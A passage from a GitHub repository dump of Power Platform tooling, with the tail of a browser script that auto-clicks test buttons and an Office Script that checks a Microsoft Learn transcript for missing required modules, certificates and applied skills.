56 | if (elmContainer && bFirst && !bAuto && !bRecent){
57 | let elmFirst=elmContainer.querySelectorAll('[type="radio"]')[0];
58 | if (!elmFirst.checked || i>iWait){
59 | elmFirst.click();
60 | bFirst=false;
61 | }
62 | }
63 | let elmPannel=document.querySelector('[class^="ms-Panel-footer"]');
64 | if(elmPannel){
65 | let elmTestButton=elmPannel.querySelector('[aria-label="Test"]');
66 | let elmSaveTestButton=elmPannel.querySelector('[aria-label="Save & Test"]');
67 | if(elmTestButton && !bAuto && !bRecent && !bFirst){
68 | elmTestButton.click();
69 | clearInterval(timer);
70 | }
71 | if(elmSaveTestButton && !bAuto && !bRecent && !bFirst){
72 | elmSaveTestButton.click();
73 | clearInterval(timer);
74 | }
75 | }
76 | i++;
77 |
78 | if(i==100){clearInterval(timer);}
79 | }, 100);
80 | }
81 | })
82 | })();
--------------------------------------------------------------------------------
/ms learn/MSLearnChecker_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/ms learn/MSLearnChecker_1_0_0_1.zip
--------------------------------------------------------------------------------
/ms learn/Power Platform Training (4).osts:
--------------------------------------------------------------------------------
1 | {"version":"0.2.0","body":"\nfunction main(\n workbook: ExcelScript.Workbook,\n aModules: intModules[],\n aCerts: intCertificates[],\n aRequiredModules: intCollection[],\n aRequiredCerts: intRequired[],\n aRequiredSkills: intRequired[],\n aSkills: intAppliedSkills[]\n ) {\n\n let oReturn: intReturn;\n\n try {\n //create arrays\n let aRequired: intCollData[] = [];\n let aMissing: intCollData[] = [];\n\n //loop over all sections in collection\n aRequiredModules.forEach(section => {\n //loop over all modules in section\n section.items.forEach(item => {\n //to to required seperate arry to make debugging easier\n aRequired.push(item.data\n )\n })\n })\n\n //loop over required array\n aRequired.forEach(item => {\n //if cant find requred module in transcript add to missign array\n if (!aModules.find(m => (m.uid == item.uid))){\n aMissing.push(item);\n } \n })\n\n //loop over rerquired certificates, if cant find in transcript add to missing array\n aRequiredCerts.forEach(item =>{\n if (!aCerts.find(c => (c.name == item.title))) {\n aMissing.push({\n rawUrl: \"\",\n uid: \"\",\n title: item.title,\n name: \"\"\n });\n } \n })\n\n//loop over rerquired applied skills, if cant find in transcript add to missing array\n aRequiredSkills.forEach(item => {\n if (!aSkills.find(skill => (skill.title == item.title))) {\n aMissing.push({\n rawUrl: \"\",\n uid: \"\",\n title: item.title,\n name: \"\"\n });\n }\n })\n \n //return object\n oReturn = {\n outcome: aMissing.length == 0,\n message: \"\",\n data: aMissing\n\n }\n return oReturn\n\n } catch (err) {\n let sError = JSON.stringify(err)\n \n oReturn = {\n outcome: false,\n message: JSON.stringify(err),\n data: []\n\n }\n }finally{\n return oReturn\n }\n\n}\n\ninterface intReturn {\n outcome: boolean,\n message: string,\n data: intCollData[]\n}\n\ninterface intCollection {\n id: string,\n listId: string,\n name: string,\n userId: string,\n description: string,\n items: {\n id: string,\n listId: string,\n type: string,\n data: intCollData\n }[]\n}\n\ninterface intCollData {\n rawUrl: string,\n uid: string,\n title: string,\n name: string\n}\n\ninterface intModules {\n uid: string,\n title: string,\n description: string,\n durationInMinutes: number,\n completedOn: string\n}\n\ninterface intCertificates {\n name: string,\n certificationNumber: string,\n status: string,\n dateEarned: string,\n expiration: string\n}\n\ninterface intAppliedSkills {\n credentialId: string,\n title: string,\n awardedOn: string\n}\n\ninterface intRequired{\n title:string\n}\n","description":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"aModules\",\"index\":0},{\"name\":\"aCerts\",\"index\":1},{\"name\":\"aRequiredModules\",\"index\":2},{\"name\":\"aRequiredCerts\",\"index\":3},{\"name\":\"aRequiredSkills\",\"index\":4},{\"name\":\"aSkills\",\"index\":5}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"aModules\",\"aCerts\",\"aRequiredModules\",\"aRequiredCerts\",\"aRequiredSkills\",\"aSkills\"],\"properties\":{\"aModules\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"description\":{\"type\":\"string\"},\"durationInMinutes\":{\"type\":\"number\"},\"completedOn\":{\"type\":\"string\"}}}},\"aCerts\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"},\"certificationNumber\":{\"type\":\"string\"},\"status\":{\"type\":\"string\"},\"dateEarned\":{\"type\":\"string\"},\"expiration\":{\"type\":\"string\"}}}},\"aRequiredModules\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"listId\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"},\"userId\":{\"type\":\"string\"},\"description\":{\"type\":\"string\"},\"items\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"listId\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"},\"data\":{\"type\":\"object\",\"properties\":{\"rawUrl\":{\"type\":\"string\"},\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"}}}}}}}}},\"aRequiredCerts\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"title\":{\"type\":\"string\"}}}},\"aRequiredSkills\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"title\":{\"type\":\"string\"}}}},\"aSkills\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"credentialId\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"awardedOn\":{\"type\":\"string\"}}}}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"object\",\"properties\":{\"outcome\":{\"type\":\"boolean\"},\"message\":{\"type\":\"string\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"rawUrl\":{\"type\":\"string\"},\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"}}}}}}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"aModules\",\"comment\":\"\"},{\"name\":\"aCerts\",\"comment\":\"\"},{\"name\":\"aRequiredModules\",\"comment\":\"\"},{\"name\":\"aRequiredCerts\",\"comment\":\"\"},{\"name\":\"aRequiredSkills\",\"comment\":\"\"},{\"name\":\"aSkills\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"}
--------------------------------------------------------------------------------